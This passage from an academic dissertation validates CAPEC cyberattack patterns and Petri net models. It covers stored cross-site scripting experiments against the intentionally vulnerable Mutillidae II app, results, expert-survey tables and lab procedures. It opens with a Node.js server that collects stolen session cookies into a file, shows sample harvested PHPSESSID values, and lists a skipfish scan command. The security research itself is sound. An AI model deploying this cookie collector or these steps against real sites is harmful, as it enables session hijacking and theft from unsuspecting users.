"Content-Type": "text/plain",
"Access-Control-Allow-Headers": "*"
};
if(req.method === "OPTIONS") {
res.writeHead(204, headers);
res.end();
return;
} else if (req.method === "GET") {
res.writeHead(200, headers);
fs.createReadStream("./form.html", "UTF-8").pipe(res);
} else if (req.method === "POST") {
var body = "";
req.on("data", function (chunk) {
console.log(chunk);
body += chunk;
var cookies = fs.readFileSync('cookies.txt', 'utf8');
cookies = cookies.concat(body, "\n");
fs.writeFileSync('cookies.txt', cookies);
});
req.on("end", function(){
console.log(body)});
res.end();
}
}).listen(80, "0.0.0.0");

Figure 8.5: Node.js server
When a user then visits the Mutillidae site View Blogs, the listing of blog
posts appears. The malicious JavaScript in Figure 8.4 also runs sending
information back to the Node.js server running in Figure 8.3 at 192.168.56.113.
The Node.js server receives the post and writes the compromised information to
the files cookies.txt.
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showhints=1; PHPSESSID=mn4joosu7391gi4jeoslnui4fc
showhints=1; PHPSESSID=muatijfpvetpu7u52382o6vg4s
showhints=1; PHPSESSID=kbhkqnph70j18v8u1pmb6rl5dh
showhints=1; PHPSESSID=218v8vdopkh0u0ggmvat9kpk1m1

Figure 8.6: Cookies.txt File
Figure 8.6 shows a listing of the file cookies.txt after four browsers on
three different hosts browsed the Mutillidae View Blog page hosting the stored
malicious JavaScript, confirming that the malicious code was stored and run with
no indication to the user. This confirms that persistent Cross-Site Scripting can be
executed against this intentionally vulnerable site.
The following CAPEC attack pattern definition Techniques have been
validated in this series of experiments:
•

Explore: Use a spidering tool to follow and record all links and analyze the web pages
to find entry points. Make special note of any links that include parameters used in
the HTTP headers.

• Experiment: Use a list of XSS probe strings to inject script into UI entry fields. If
possible, the probe strings contain a unique identifier.
•

Exploit: Develop malicious JavaScript that is injected through vectors identified
during the Experiment Phase and loaded by the victim's browser and sends document
information to the attacker.

In this series of experiments, Techniques from the following CAPEC
attack pattern definitions are validated: CAPEC-63, CAPEC-18, CAPEC-86,
CAPEC-199, CAPEC-244, and CAPEC-32.
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In addition to the nefarious execution of malicious code, it is worth noting
that access to the DOM attribute document.cookie means that the malicious code
could be even more sinister. The DOM can be used to modify the HTML content,
headers, style sheets, and other attributes of the DOM.
8.6 Summary
In this series of experiments, Cross-Site Scripting has been demonstrated
using the Techniques proposed by CAPEC attack pattern definitions. Six CAPEC
attack pattern definitions have been partially validated, and the ability to
compromise integrity and confidentiality has been demonstrated. Summarization
of identical or similar Techniques is shown to be an effective method of reducing
the size of the validation problem. In fact, CAPEC-19, CAPEC-34, CAPEC-87,
CAPEC-71, CAPEC-80, CAPEC-84, CAPEC-120, CAPEC-267, CAPEC-101,
CAPEC-139, and CAPEC-193 have also been partially validated during this set of
experiments, and none are descendants of CAPEC-63.
In Section 8.2, data from the OWASP Top 10 Web Application Security
Risks and the National Vulnerabilities Database were used to demonstrate that
CAPEC-63 Cross-Site Scripting (XSS) is and has been a relevant threat.
Because of the observations regarding Child Of relationships between
attack pattern definitions and the conflicting abstraction levels, no conclusions
can be drawn regarding how complete and accurate the attack pattern definitions
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are. Despite this, the CAPEC database is an effective guide to understanding and
guarding against nefarious actors and is a crucial resource for information security
professionals.
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CHAPTER IX

CONCLUSIONS AND FUTURE WORK

9.1 Answers to research questions
In this section, the Research Questions posed in Subsection 1.2 are
repeated and examined.
1. Are there publicly available data sources that can be used to effectively
validate the CAPEC attack patterns as conceptual models of cyberattacks, or
can appropriate data be assembled?
Answer: Parts a and b of Research Question 1 are addressed in Chapter 8
Experimental Validation of Structured Attack Patterns and Appendix D
Experimental Validation Detailed Process and Results.
a. Are there publicly available data sources that can be used to
validate that the methods proposed by CAPEC attack patterns are
actively being used by attackers?
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Answer: In Section 8.2, the CVE and NVD are used to
demonstrate that CAPEC-63 Cross-Site Scripting has been and
continues to be a significant threat to the security of information
systems. While this does not address whether the methods
specified in CAPEC-63 and descendants are being used to
compromise systems, it demonstrates the continuing need to
mitigate the risks posed by this category of cyberattacks.

b. Can experiments be constructed to validate that the CAPEC attack
patterns are effective procedures for cyberattacks?

Answer: In Chapter 8 and Appendix D, experimental validation
experiments are documented that demonstrate that the methods put
forth in CAPEC-63 and descendants could be effective at
compromising systems that are vulnerable to cross-site scripting. It
was shown that summarization among the attack patterns was
possible in that validation of a Technique specified in a CAPEC
attack pattern definition may partially validate others.

2.

Can subject matter experts be used to accomplish face validation of the
PNPSC nets as executable models of cyberattacks?
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a. Can experts validate that CAPEC attack patterns are correct
representations of cyberattacks by relating CAPEC attack patterns
to personal experience with similar attacks?
b. Can experts verify that a PNPSC net is a correct representation of
a CAPEC attack pattern via side-by-side comparison?
c. Can experts validate that PNPSC nets are correct representations
of cyberattack patterns by examining them relative to personal
experience with similar attacks?
Answer: In Chapter 7 Structured Face Validation of Extended Petri Nets for
Modeling Cyberattacks and in Appendix B Validation Effort Subject Matter
Expert Response Tables, these questions are addressed. Four CAPEC attack
pattern definitions and their associated PNPSC nets were assessed using face
validation by a panel of subject matter experts. Three of the four attack
patterns and PNPSC nets were judged to be valid by the experts; one was not.
The inter-rater reliability assessment demonstrates that the experts largely
agreed with each other on the assessments but differed enough to suggest
independent thought. The relative agreement of the experts, and the fact that
they were able to distinguish valid attack patterns and PNPSC nets from
invalid ones, suggest that structured face validation is an effective method for
examining the validity of attack patterns.
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3.

Can formal methods, semi-formal methods, and direct comparison be used
to verify PNPSC nets generated as artifacts of this research program?
a. Can formal representations of PNPSC nets be used to verify the
conditions under which these nets will terminate in goal states, as
specified in the CAPEC attack patterns and in the requirements
model, of either the attacker or the defender, and that those states
are reachable?
b. Can automated methods, such as symbolic execution or model
checking, be effective in verifying that model constraints, as
specified in the CAPEC attack patterns and in the requirements
model, are not violated in the execution of the PNPSC nets?
Answer: Parts a and b of this question are addressed in Chapter 6
Matrix Reduction Verification of Auto-Generated Executable Nets.
In Chapter 6, formal representations of the PNPSC nets, including
the incidence matrix and Horn clauses representing conditions
necessary for transition execution, were the foundation of an
automated approach to a model checking application that can be
used to verify the paths that can be executed through a series of
enabled transitions, and the resulting markings. This method is
shown to be effective at verifying the auto-generated PNPSC nets
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developed in Project 1 as discussed in Subsection 4.3.1, and for
nets that are similar in structure.
c. Can comparisons between the CAPEC attack patterns, the autogenerated PNPSC nets, the executable model requirements, and
simulation results verify the correctness of the executable models?
Answer: In Chapter 5 Verification by Direct Comparison and
Appendix C Direct Comparison Verifier Output, direct comparison
was used to assess compliance of the auto-generated PNPSC nets
with the PNPSC formalism. As a result of this verification process,
several modifications were made to the application developed as
part of Project 1, and the executable models were shown to be
compliant except for PNPSC formalism elements 𝐶, the cost of
firing or changing the firing rates of transitions, and 𝐷, the
assignment of those costs to players.
9.2 Conclusions
Verification of the artifacts of this research program include the
executable PNPSC net models. This effort consists of comparing those executable
models to the PNPSC formalism and to the requirements for the simulation
models. This process has proven to be straightforward, in that the artifacts for
comparison are available and well-understood.
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Validation of the artifacts of this research program has been challenging
due to the nature of the subject matter. The sensitive nature of the cybersecurity
domain renders the simuland largely unobservable. However, some methods have
been effective.
Public data sources such as the NVD, the CWE, and the CVE, while not
direct evidence of cyberattacks, are intended to guide systems owners and
researchers in the understanding of threats that have and continue to exist, and the
evolution of those threats. These sources provide invaluable guidance to the
public at large and serve a vital role in validating research such as that undertaken
in this program.
The CAPEC database has been found to be inconsistent or incomplete in
some ways. However, experimental validation was used to show that the attack
patterns documented in the CAPEC database are effective in executing a category
of cyberattacks. In addition, summarization has been shown to be possible due to
the overlapping use of methods and goals.
In cases where these verification and validation methods reveal that
models cannot be verified or validated, the findings may lead to improvements in
the models and methods used in this program. In Chapter 5, verification by direct
comparison led to improvements in the transformation process specified in
[Whitaker, 2019]. Other opportunities exist that could lead to further
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enhancements to the processes, artifacts, and conclusions of this research
program.
Of the verification and validation methods developed in this research,
some apply to other categories of PNPSC nets. The verification by direct
comparison method described in Chapters 5 applies to all PNPSC executable
models encoded as PNML. The matrix reduction verification method can be used
effectively for PNPSC nets that are structured as service nets that can be
segmented using Tarjan’s Algorithm, as described in Section 6.2. Structured face
validation can be used almost any modeling and simulation scenario. The
validation methods described in Chapter 8 depend heavily on the availability of
data. For establishing models of cyberattacks using the methods in Chapter 8, the
CAPEC attack pattern database was being validated, and the NVD was used to
lend further credibility to the assessment. The methods of Chapter 8 might be
utilized if similar data is available.
9.3 Future work
All verification and validation methods explored in this research were
developed to assess models that use the CAPEC attack pattern definitions as
input. The CAPEC attack patterns are compositions of phases, Steps, and
Techniques, and executable and conceptual models produced from
transformations described in this research program are also compositions. In
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[Weisel, 2004] and in [Petty, 2019], it was shown that the validity of components
does not imply that the composed model is also valid. To assert the validity of the
CAPEC attack patterns, the composition of the elements that form entire CAPEC
attack patterns must also be investigated.
Costs and assignment of those costs to players must be resolved before the
auto-generated PNPSC nets can be declared fully compliant with the PNPSC
formalism. Other potential research projects include the decision to comply fully
with PNML, and the choice of a simulation platform for further investigation. The
formal representation of inhibitor arcs should also be investigated. In the PNML
Core Model, an inhibitor arc can be specified by an attribute of the arc tag. The
PNPSC formalism specifies an arc weight of −1 to designate an inhibitor arc, in
contrast to the PNML Core Model. These issues need to be resolved in the
PNPSC formalism and the auto-generation of PNPSC net models before these
models can be declared fully compliant with the formalism.
Investigations to further understand the limitations of matrix verification
in other classes of Petri net models and extensions are warranted. It is known that
the method presented in Chapter 6 is effective at verifying the auto-generated
PNPSC nets, but it is unclear where the limits of this function end.
Face validation has proven effective in the validation of the CAPEC attack
pattern definitions and related PNPSC nets. The process is expensive in terms of
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the time required and the expert qualification requirements. Experts must be
qualified not only in the domain of the simuland, but in the nature and
construction of the models, as well as their intended use. These challenges might
be mitigated by constructing on-line face validation applications, where experts
could be educated on the models through on-line videos, written materials, or
interactive examples.
One modification to the design of the CAPEC database is that attack
patterns could be considered analogous to objects in object-oriented application
design. In such a model, attributes are inherited, and additional attributes could be
added to or overridden in Child Of related attack pattern definitions. This
inheritance could apply to Prerequisites, Execution Flow, Mitigations, etc.
Another potential for improving the CAPEC database is normalizing the CAPEC
attack pattern attributes. There is a significant overlap between Prerequisites,
Steps, Techniques, Consequences, and Mitigations in the CAPEC attack pattern
definitions. Because the language is not normalized, some of these elements differ
only by a word or punctuation. Careful reading is required to distinguish the
differences between attributes of different attack pattern definitions. Normalizing
the language could make the data much easier to classify and summarize.
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APPENDIX A

PNPSC NET AUTO-GENERATION REQUIREMENTS

The following requirements model specify how graphical and executable
PNPSC net are to be generated automatically from CAPEC attack pattern
definitions.
1.

PNPSC executable nets are generated automatically, from CAPEC attack
pattern definitions encoded as XML.
a. For each element of the CAPEC attack pattern definitions
execution flow represented, the PNPSC auto-generated nets will
utilize the following order:
i. Prerequisites.
ii. Explore.
iii. Experiment.
iv. Exploit.
v. Consequences.
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b. Each CAPEC attack pattern definitions prerequisite will be
represented as a place in the auto-generated PNPSC net.
i. Prerequisite places will be marked initially, signifying that
the prerequisite conditions for execution of the attack
pattern are met.
c. Following CAPEC prerequisites the execution flow will proceed as
specified in 1a.
i. If prerequisites do not exist, the first phase of the CAPEC
Execution Flow, as specified in 1a, will contain an initial
marking that enables the potential execution of each attack
pattern Technique.
ii. If prerequisites do exist, the first phase of the CAPEC
Execution Flow following prerequisites will be enabled
with the initial marking specified in requirement 1bi.
d. Each Technique within CAPEC Execution Flow phases Explore,
Experiment, and Exploit will have places that are marked on
success or failure of the Technique.
i. The markings of these places will be variables in the
formulae specified in requirement 1l.
ii. Some markings will inhibit the further execution of a
Technique that is being blocked by a player.
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iii. Arcs that inhibit transitions will have arc weights of -1.
e. It is not possible for opposing players to both reach goal states.
2.

The auto-generated PNPSC nets should comply with the PNPSC
formalism. They should specify, in PNML compliant XML, with PNML
extensions appropriate to the PNPSC formalism:
a. A non-empty set of places.
b. A non-empty set of transitions.
c. A set of arcs from places to transitions and from transitions to
places.
i. No arc should connect a place to a place.
ii. No arc should connect a transition to a transition.
d. A maximum number of tokens for each place.
e. An initial marking, or the number of tokens marking each place,
between zero and the maximum specified in 1d.
f. A number of tokens carried by each arc, an arc weight.
g. A non-empty set of players.
h. A partition of the transitions such that
i. There are sets of transitions, each controlled by exactly one
player.
ii. There is a set of transitions not controlled by any player.
i. For each player, a set of observable places.
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j. Firing rates for non-player controlled transitions.
k. Firing rates for player-controlled transitions, including:
i. An initial firing rate.
ii. A maximum firing rate.
l. For each player, a strategy, specified as formulae for run-time
updates to player-controlled transition firing rates, based on the
markings of player-observable places, subject to requirement 2k.
m. Costs for each transition rate change.
n. Costs for each transition execution.
o. Assignments of costs to players.
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APPENDIX B

VALIDATION EFFORT SUBJECT MATTER EXPERT RESPONSE
TABLES

Table B.1: Subject Matter Expert Education Level
What is your maximum education
level?

Count of Response

High School

0

Some College

0

Associate's Degree

0

Bachelor's Degree

7

Beyond Bachelor's Degree

7

Table B.2: Subject Matter Expert CAPEC Familiarity
Are you familiar with the Common Attack Pattern Enumeration
and Classification (CAPEC) database?

Count of Response

Not at all familiar

4

Not so familiar

0

Somewhat familiar

6

Very familiar

4

Extremely familiar

0
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Table B.3: Subject Matter Expert Petri Net Familiarity
Are you familiar with Petri Nets and their use?

Count of Response

Not at all familiar

4

Not so familiar

4

Somewhat familiar

5

Very familiar

1

Extremely familiar

0

Table B.4: Subject Matter Expert Cybersecurity Involvement
Are you familiar with Petri Nets and their use?

Count of Response

Not at all

0

Not professional, part time hobby

1

Not professional, full time hobby

0

Professional, part time

0

Professional, full time

13

Table B.5: Subject Matter Expert Cybersecurity Activity Level
How often do you engage in cybersecurity activities?

Count of Response

Less than once a month

1

Once a month

0

A few times a month

0

About once a week

0

A few times a week

4

Every day

9
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Table B.6: CAPEC-63 Validation Results
Validation Instrument Statement?

Result

P-Value

You are familiar with CAPEC-63: Cross-Site Scripting (XSS)
attack pattern.

Reject H0

0.0005

The given Petri Net makes sense from a conceptual point of
view.

Reject H0

0.0005

The Attacker places and transitions make sense for actions that
an attacker can perform.

Reject H0

0.0005

The Defender places and transitions make sense for actions
that a defender can perform.

Reject H0

0.0033

The places/transition combinations represent realistic state and
actions that can be performed.

Reject H0

0.0033

Attacker places/transition accurately represent things an
attacker can do.

Reject H0

0.0005

Defender places/transitions accurately represent things a
defender can do.

Reject H0

0.0033

The Petri Net as a whole accurately represent things that occur
during the given cybersecurity attack.

Reject H0

0.0174

The CAPEC Entry accurately models the specified cyberattack.

Reject H0

0.0033

The Petri Net accurately models the CAPEC Entry.

Reject H0

0.0174

The Petri Net accurately models the specified cyberattack.

Reject H0

0.0033

The Rates presented accurately reflect the ability of the
attacker/defender.

Fail to reject H0

0.6185

The costs described in the briefing accurately reflects the costs
for this net.

Fail to reject H0

0.1829

The given Petri Net models the given cyberattack in a correct
enough way to be useful for research.

Reject H0

0.0033
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Table B.7: CAPEC-66 Validation Results
Validation Instrument Statement?

Result

P-Value

You are familiar with CAPEC 66 – SQL Injection attack
pattern.

Reject H0

0.0003

The given Petri Net makes sense from a conceptual point of
view.

Reject H0

0.0003

The Attacker places and transitions make sense for actions that
an attacker can perform.

Reject H0

0.0003

The Defender places and transitions make sense for actions that
a defender can perform.

Reject H0

0.0003

The places/transition combinations represent realistic state and
actions that can be performed.

Reject H0

0.0019

Attacker places/transition accurately represent things an
attacker can do.

Reject H0

0.0019

Defender places/transitions accurately represent things a
defender can do.

Reject H0

0.0019

The Petri Net as a whole accurately represent things that occur
during the given cybersecurity attack.

Reject H0

0.0105

The CAPEC Entry accurately models the specified cyberattack.

Reject H0

0.0105

The Petri Net accurately models the CAPEC Entry.

Reject H0

0.0019

The Petri Net accurately models the specified cyberattack.

Reject H0

0.0416

The Rates presented accurately reflect the ability of the
attacker/defender.

Fail to reject H0

0.2819

The costs described in the briefing accurately reflects the costs
for this net.

Fail to reject H0

0.8759

The given Petri Net models the given cyberattack in a correct
enough way to be useful for research.

Reject H0

0.0105
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Table B.8: CAPEC-163 Validation Results
Validation Instrument Statement?

Result

P-Value

You are familiar with CAPEC-163: Spear Phishing attack
pattern.

Reject H0

0.0002

The given Petri Net makes sense from a conceptual point of
view.

Reject H0

0.0002

The Attacker places and transitions make sense for actions that
an attacker can perform.

Reject H0

0.0063

The Defender places and transitions make sense for actions that
a defender can perform.

Reject H0

0.0011

The places/transition combinations represent realistic state and
actions that can be performed.

Reject H0

0.0011

Attacker places/transition accurately represent things an
attacker can do.

Reject H0

0.0261

Defender places/transitions accurately represent things a
defender can do.

Reject H0

0.0011

The Petri Net as a whole accurately represent things that occur
during the given cybersecurity attack.

Reject H0

0.0261

The CAPEC Entry accurately models the specified cyberattack.

Fail to reject H0

0.0828

The Petri Net accurately models the CAPEC Entry.

Reject H0

0.0011

The Petri Net accurately models the specified cyberattack.

Reject H0

0.0261

The Rates presented accurately reflect the ability of the
attacker/defender.

Fail to reject H0

0.6092

The costs described in the briefing accurately reflects the costs
for this net.

Fail to reject H0

0.6092

The given Petri Net models the given cyberattack in a correct
enough way to be useful for research.

Reject H0

0.0063
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Table B.9: CAPEC-169 Validation Results
Validation Instrument Statement?

Result

P-Value

You are familiar with CAPEC-169: Footprinting attack pattern.

Reject H0

0.0005

The given Petri Net makes sense from a conceptual point of
view.

Reject H0

0.0174

The Attacker places and transitions make sense for actions that
an attacker can perform.

Reject H0

0.0033

The Defender places and transitions make sense for actions that
a defender can perform.

Reject H0

0.0005

The places/transition combinations represent realistic state and
actions that can be performed.

Reject H0

0.0033

Attacker places/transition accurately represent things an
attacker can do.

Fail to reject H0

0.0658

Defender places/transitions accurately represent things a
defender can do.

Fail to reject H0

0.0658

The Petri Net as a whole accurately represent things that occur
during the given cybersecurity attack.

Fail to reject H0

0.1829

The CAPEC Entry accurately models the specified cyberattack.

Fail to reject H0

0.3815

Reject H0

0.0174

The Petri Net accurately models the specified cyberattack.

Fail to reject H0

0.0658

The Rates presented accurately reflect the ability of the
attacker/defender.

Fail to reject H0

0.6185

The costs described in the briefing accurately reflects the costs
for this net.

Fail to reject H0

0.6185

The given Petri Net models the given cyberattack in a correct
enough way to be useful for research.

Fail to reject H0

0.0658

The Petri Net accurately models the CAPEC Entry.
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Table B.10: IRR Analysis
CAPEC Entry

Mean

Median

Range

Mode

Standard
Error

Sample
Variance

Standard
Deviation

CAPEC-63:
Cross-Site
Scripting

0.56

0.71

1.43

0.71

0.06

0.17

0.42

CAPEC-66:
SQL Injection

0.46

0.71

1.29

0.86

0.05

0.20

0.44

CAPEC-163:
Spear Phishing

0.47

0.71

1.29

0.86

0.05

0.19

0.43

CAPEC-169:
Footprinting

0.29

0.29

1.57

0.14

0.04

0.13

0.36
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APPENDIX C

DIRECT COMPARISON VERIFIER OUTPUT

This appendix consists of output from a program written in Python that takes
auto-generated PNPSC nets and analyzes them for compliance with the PNPSC
formalism. For more information on the auto-generation process, see [Whitaker, 2018]
and [Whitaker, 2019]. The following is a partial listing of the output from the verification
code resulting from the auto-generated PNPSC net constructed from CAPEC-63 CrossSite Scripting (XSS), with brief explanations of the PNPSC requirements demonstrated.
Arcs:
Arc( bT11_2tobP10_2_t bT11_2 bP10_2_t normal 1 )
Arc( bP11_2_ptobT9_2 bP11_2_p bT9_2 inhibitor 1 )

Above are two lines from the verifier output corresponding to two arcs in
the PNPSC net. Inside the parentheses, there are five values: the arc name, source,
target, type, and weight. Source and target should be one place and one transition.
In the case of the first arc listed above, the source is transition bT11_2 and the
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target is place bP10_2_t.20 This output partially confirms PNPSC requirements
for 𝐿 and 𝑊.
Player and non-player observable places and controllable transitions:
dT24 controllable by non-player
aT0_0 controllable by attacker
aP1_0_t observable by attacker
In the verifier output above, there are lines related to transitions dT24 and
aT0_0, and place aP1_0_t. This output partially confirms PNPSC requirements
for 𝐺, θ, and 𝑂.

20

The places and transitions can be recognized because of the naming standard
established in [Whitaker, 2019]. This naming standard is specific to this research
program, and is not necessary to comply with the PNPSC formalism or PNML.
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Places, transitions, arcs, and initial marking:
places 77
transitions 82
arcs 218
initialPlaces 1
In the verifier output above, there are lines the list the number of places,
transitions, arcs, and initial places. This output partially confirms PNPSC
requirements for 𝑃, 𝑇, 𝑊, and 𝑀0 .
PNPSC compliance errors:
PN #6. Arc weights: Arc weight for qP0toqT0 are not being set currently.
PNPSC #5: non-player Transitions have fixed firing rates:
bT12_2

non-player rate: max(0.1@ #(aP2_0_t)*0.5988)

In the verifier output above, there are lines related to two instances of
PNML that are not compliant with the PNPSC formalism, generated by tags that
were edited to confirm the verifier by introducing violations. The first example
shows an error where the tag specifying the arc weight was deleted from the
PNPSC net. The second example shows an instance of a non-player controlled
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rate, which is dynamic based on the marking of place aP2_0_t.21 This output
partially confirms PNPSC requirements for 𝐿 and 𝐹. Other tests confirm other
PNPSC requirements.

21

The max function is discussed in Subsection 5.3.3.
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Table C.1: Player Strategy Table
attacker
qP0

aP7_1_t

aP12_2_t

aP2_0_t

bP4_0_t

bP9_1_t

bP13_2_t

bP17_3_t

bT0_0

0.5325

0.1338

0.2936

—

—

—

—

—

bT5_1

—

0.4248

0.2803

0.9011

—

—

—

—

bT9_2

—

0.9666

0.7497

0.8667

—

—

—

—

bT13_3

—

0.9729

0.6849

0.4685

—

—

—

—

cT0_0

—

—

—

—

0.9499

0.2622

0.4395

0.3311

cT5_1

—

—

—

—

0.1782

0.2823

0.9817

0.3659

cT9_2

—

—

—

—

0.1801

0.4817

0.3166

0.4826

cT13_3

—

—

—

—

0.1584

0.6302

0.7197

0.3679

cT17_4

—

—

—

—

0.9436

0.2949

0.7819

0.9887

The verifier output above is a partial representation of a matrix of an
attacker strategy for a PNPSC net. Each row corresponds to a transition rate that
can be calculated based on the marking of the PNPSC net. The columns represent
attacker observable places. Each entry in the table is the multiplier for the number
of tokens marking the place, which computes the transition rate using the max
function discussed in Subsection 5.3.3. This output partially confirms PNPSC
requirements for Ω and Γ.
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APPENDIX D

EXPERIMENTAL VALIDATION DETAILED PROCESS AND
RESULTS

In this appendix, validation experiments are documented. The
documentation includes Table D.1, which provides details on 47 experiments that
were performed to validate the CAPEC attack pattern definitions that include
CAPEC-63 and all descendants.
All experiments were performed on a MacBook Pro with a 3.1 GHz Intel
Dual-Core i5 processor and 8 GB of RAM. The MacBook was running the
macOS 11.0.1 operating system. A virtual network of vulnerable target hosts and
attacking hosts was created for running the experiments. The Oracle VirtualBox
6.1.22 was used to create the virtual network.
Several vulnerable target hosts were created and used during the initial
stages of the research, but a pair of well-known vulnerable images were built for
the purpose. In both cases, Ubuntu Desktop 20.04.2 was chosen for the guest

201

operating system. Some experiments targeted a guest running Damn Vulnerable
Web Application (DVWA), a web application based on PHP and MySQL that is
well-known and exhibits several vulnerabilities necessary for these validation
experiments [Damn Vulnerable Web Application (DVWA), 2021]. Most
experiments targeted Mutillidae II, another well-known vulnerable web
application [Mutillidae, 2021]. Mutillidae II is developed and maintained by the
OWASP and exhibits all vulnerabilities listed in the vaunted OWASP Top 10
including variants of Cross-Site Scripting. Mutillidae II is also based on PHP and
MySQL. Both of these applications are developed and distributed for education
and research in cybersecurity. There are many other vulnerable systems builds
available for the same purposes, and many are documented in the OWASP
Broken Web Applications [OWASP, 2021d].
In addition to vulnerable targets, there are system images that have been
created to launch attacks against systems. While these images can be used for
malicious purposes, they are created to facilitate the process of penetration
testing. Penetration testing is a professional discipline dedicated to ensuring
systems are secure, by attempting to compromise them using methods commonly
used by attackers. There is a significant body of knowledge supporting the
process of penetration testing, including education, certification, and professional
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organizations. The system images created for penetration testing will be referred
to as penetration test systems.
In preparation for the experiments commenced in this research, several
penetration test systems were evaluated. After some consideration, most of the
experiments were conducted using Kali Linux 2021.1. Kali Linux includes many
common tools and suites to integrate the penetration testing practice into a single
platform that is professionally developed and maintained [Kali Linux, 2021]. Kali
Linux was installed as a guest on the Macbook Pro platform.
In addition to the Kali Linux platform, some simulated attacks were
sourced from the Macbook Pro itself, running tools such as OWASP ZAP
[OWASP, 2021c]. ZAP is an open-source integrated penetration test suite that is
developed and maintained by OWASP. Many of the tools necessary to support the
CAPEC Execution Flow Techniques are supported by OWASP ZAP.
The rest of Appendix D is comprised of two tables. Table D.1 contains
summary reports of the 47 experiments performed to validate the definitions of
CAPEC-63 and descendants. Table D.2 summarizes the Execution Flow of the
CAPEC attack pattern definitions and relates them to Techniques, which are
validated by the experiments documented in Table D.1.
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Table D.1: Validation Experiments
Experiment ID
Technique

Related CAPEC
Attack Pattern
Definitions
Attacking host
Tools

Target host

Procedure

Observations
and Results
Conclusion

1
Use a browser to manually explore the website and analyze how it is constructed.
Many browsers' plugins are available to facilitate the analysis or automate the
discovery.
CAPEC-63, Step 1, Explore Phase
CAPEC-18, Step 1, Explore Phase
CAPEC-86, Step 1, Explore Phase
CAPEC-199, Step 1, Explore Phase
CAPEC-244, Step 1, Explore Phase
CAPEC-32, Step 1, Explore Phase
macOS 11.0.1 Host
Scraper.AI
Chrome only plug-in
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Install Scraper.AI on Firefox
2. Click on icon to start extension
3. Click Monitor Data
4. Choose a name
5. Select the Add to Your Blog frame
6. Click Next the Finish
This plug-in is a commercial product with a limited free version. Although the free
version would not scan the entire site, adequate functionality was observed to
consider this experiment a success.
It appears this company is failing. They are not accepting new customers.
The technique proposed in the CAPEC attack pattern definitions is effective.
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Experiment ID
Technique

Related CAPEC
Attack Pattern
Definitions
Attacking host
Tools

Target host

Procedure

Observations
and Results
Conclusion

2
Use a browser to manually explore the website and analyze how it is constructed.
Many browsers' plugins are available to facilitate the analysis or automate the
discovery.
CAPEC-63, Step 1, Explore Phase
CAPEC-18, Step 1, Explore Phase
CAPEC-86, Step 1, Explore Phase
CAPEC-199, Step 1, Explore Phase
CAPEC-244, Step 1, Explore Phase
CAPEC-32, Step 1, Explore Phase
macOS 11.0.1 Host
get-set, Fetch!
Support for Firefox, Chrome, Opera, and Edge
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Install get-set, Fetch! On Firefox
2. Open extension
3. Click Projects/New Project
4. Complete form and choose static or dynamic content.
5. Save and run
6. Click Scrape
7. Click results
This open-source plug-in worked adequately for the experimental requirements,
although support is limited. Can find URLs and binaries but that is about all. No
parameters, headers, etc.
The technique proposed in the CAPEC attack pattern definitions is effective.
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Experiment ID
Technique

Related CAPEC
Attack Pattern
Definitions
Attacking host
Tools

Target host

Procedure

Observations
and Results
Conclusion

3
Use a browser to manually explore the website and analyze how it is constructed.
Many browsers' plugins are available to facilitate the analysis or automate the
discovery.
CAPEC-63, Step 1, Explore Phase
CAPEC-18, Step 1, Explore Phase
CAPEC-86, Step 1, Explore Phase
CAPEC-199, Step 1, Explore Phase
CAPEC-244, Step 1, Explore Phase
CAPEC-32, Step 1, Explore Phase
macOS 11.0.1 Host
Scraper.AI
Chrome only plug-in
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Install Scraper.AI on Firefox
2. Click on icon to start extension
3. Click Monitor Data
4. Choose a name
5. Select the Add to Your Blog frame
6. Click Next the Finish
This plug-in is a commercial product with a limited free version. Although the free
version would not scan the entire site, adequate functionality was observed to
consider this experiment a success.
It appears this company is failing. They are not accepting new customers.
The technique proposed in the CAPEC attack pattern definitions is effective.
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Experiment ID
Technique

Related
CAPEC Attack
Pattern
Definitions
Attacking host
Tools

Target host

Procedure

Observations
and Results
Conclusion

4
Use a browser to manually explore the website and analyze how it is constructed.
Many browsers' plugins are available to facilitate the analysis or automate the
discovery.
CAPEC-63, Step 1, Explore Phase
CAPEC-18, Step 1, Explore Phase
CAPEC-86, Step 1, Explore Phase
CAPEC-199, Step 1, Explore Phase
CAPEC-244, Step 1, Explore Phase
CAPEC-32, Step 1, Explore Phase
macOS 11.0.1 Host
get-set, Fetch!
Support for Firefox, Chrome, Opera, and Edge
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Install get-set, Fetch! On Firefox
2. Open extension
3. Click Projects/New Project
4. Complete form and choose static or dynamic content.
5. Save and run
6. Click Scrape
7. Click results
This open-source plug-in worked adequately for the experimental requirements,
although support is limited. Can find URLs and binarys but that's pretty much it. No
parameters, headers, etc.
The technique proposed in the CAPEC attack pattern definitions is effective.
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Experiment ID
Technique
Related
CAPEC Attack
Pattern
Definitions
Attacking host
Tools
Target host

Procedure

Observations
and Results
Conclusion

5
Use a spidering tool to follow and record all links and analyze the web pages to find
entry points. Make special note of any links that include parameters in the URL.
CAPEC-63, Step 1, Explore Phase
Kali Linux 2021 Guest
VirtualBox
macOS 11.0.1 Host
Burpsuite
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Start Firefox on Kali
2. Set up browser proxy HTTP port 8080 127.0.0.1 (use FoxyProxy)
3. Start Burpsuite (Community Edition)
4. Next, Start Burp
5. Proxy, Intruder Off
6. Target/Scope/Add - add target URL, exclude out of scope
Burpsuite is a suite of information security tools that can be used to analyze and to
attack a system. However, the automated tools, including the spider, are not enabled in
the free Community edition. Although it appears that it would work, it could not be
confirmed. Manual browsing was effective at finding URLs with parameters.
The technique proposed in the CAPEC attack pattern definitions could not be
demonstrated effective.
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Experiment ID
Technique
Related
CAPEC Attack
Pattern
Definitions
Attacking host
Tools
Target host

Procedure

Observations
and Results
Conclusion

6
Use a spidering tool to follow and record all links and analyze the web pages to find
entry points. Make special note of any links that include parameters in the URL.
CAPEC-63, Step 1, Explore Phase
Kali Linux 2019 Guest
VirtualBox
macOS 11.0.1 Host
Skipfish
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Enter the following command in bash on Kali:
skipfish -YO -d 2 -I http://192.168.56.112/mutillidae -o ./sf
http://192.168.56.112/mutillidae
